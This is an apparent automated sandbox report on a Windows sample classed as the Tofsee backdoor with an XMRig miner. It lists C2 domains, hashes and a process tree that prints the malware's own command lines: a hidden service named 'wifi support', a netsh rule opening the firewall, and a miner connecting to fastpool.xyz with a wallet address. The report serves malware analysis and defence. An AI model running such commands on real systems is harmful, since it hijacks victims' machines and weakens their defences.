Analysis

  • max time kernel
    141s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/12/2022, 23:05

General

  • Target
    file.exe
  • Size 214KB
  • Sample221217-22tlsaaa26
  • SHA256 bc439bc5b326fed71a4bd4ea89434c67de267f1cb2c9f49a3b5b46bcdae6436c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5048
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vsjxkkan\
      2⤵
        PID:1676
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bhzotmd.exe" C:\Windows\SysWOW64\vsjxkkan\
        2⤵
          PID:512
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vsjxkkan binPath= "C:\Windows\SysWOW64\vsjxkkan\bhzotmd.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3040
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vsjxkkan "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3408
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vsjxkkan
          2⤵
          • Launches sc.exe
          PID:1176
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:116
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5048 -s 892
          2⤵
          • Program crash
          PID:3380
      • C:\Windows\SysWOW64\vsjxkkan\bhzotmd.exe
        C:\Windows\SysWOW64\vsjxkkan\bhzotmd.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3108
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4268
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4328
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3108 -s 516
          2⤵
          • Program crash
          PID:4088
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5048 -ip 5048
        1⤵
          PID:4792
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3108 -ip 3108
          1⤵
            PID:692

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                bhzotmd.exe

                • Path C:\Users\Admin\AppData\Local\Temp\bhzotmd.exe
                • Size 10.0MB
                • SHA256 f272d3dd23f7b680d548477843864afb53fd3e458bb9e22101662dd304fb2268
                • MD5 SHA1 SHA512 SSDEEP

                bhzotmd.exe

                • Path C:\Windows\SysWOW64\vsjxkkan\bhzotmd.exe
                • Size 10.0MB
                • SHA256 f272d3dd23f7b680d548477843864afb53fd3e458bb9e22101662dd304fb2268
                • MD5 SHA1 SHA512 SSDEEP

                memory/3108-150-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/3108-149-0x000000000058D000-0x000000000059E000-memory.dmp

                memory/4268-146-0x00000000012B0000-0x00000000012C5000-memory.dmp

                memory/4268-165-0x0000000007E40000-0x000000000824B000-memory.dmp

                memory/4268-168-0x00000000033E0000-0x00000000033E7000-memory.dmp

                memory/4268-162-0x00000000033D0000-0x00000000033D5000-memory.dmp

                memory/4268-159-0x00000000025F0000-0x0000000002600000-memory.dmp

                memory/4268-156-0x00000000025E0000-0x00000000025E6000-memory.dmp

                memory/4268-151-0x00000000012B0000-0x00000000012C5000-memory.dmp

                memory/4268-152-0x00000000012B0000-0x00000000012C5000-memory.dmp

                memory/4268-153-0x0000000002E00000-0x000000000300F000-memory.dmp

                memory/4328-172-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/4328-177-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/5048-133-0x0000000000530000-0x0000000000543000-memory.dmp

                memory/5048-134-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/5048-132-0x00000000005D3000-0x00000000005E4000-memory.dmp

                memory/5048-143-0x00000000005D3000-0x00000000005E4000-memory.dmp

                memory/5048-144-0x0000000000400000-0x000000000045F000-memory.dmp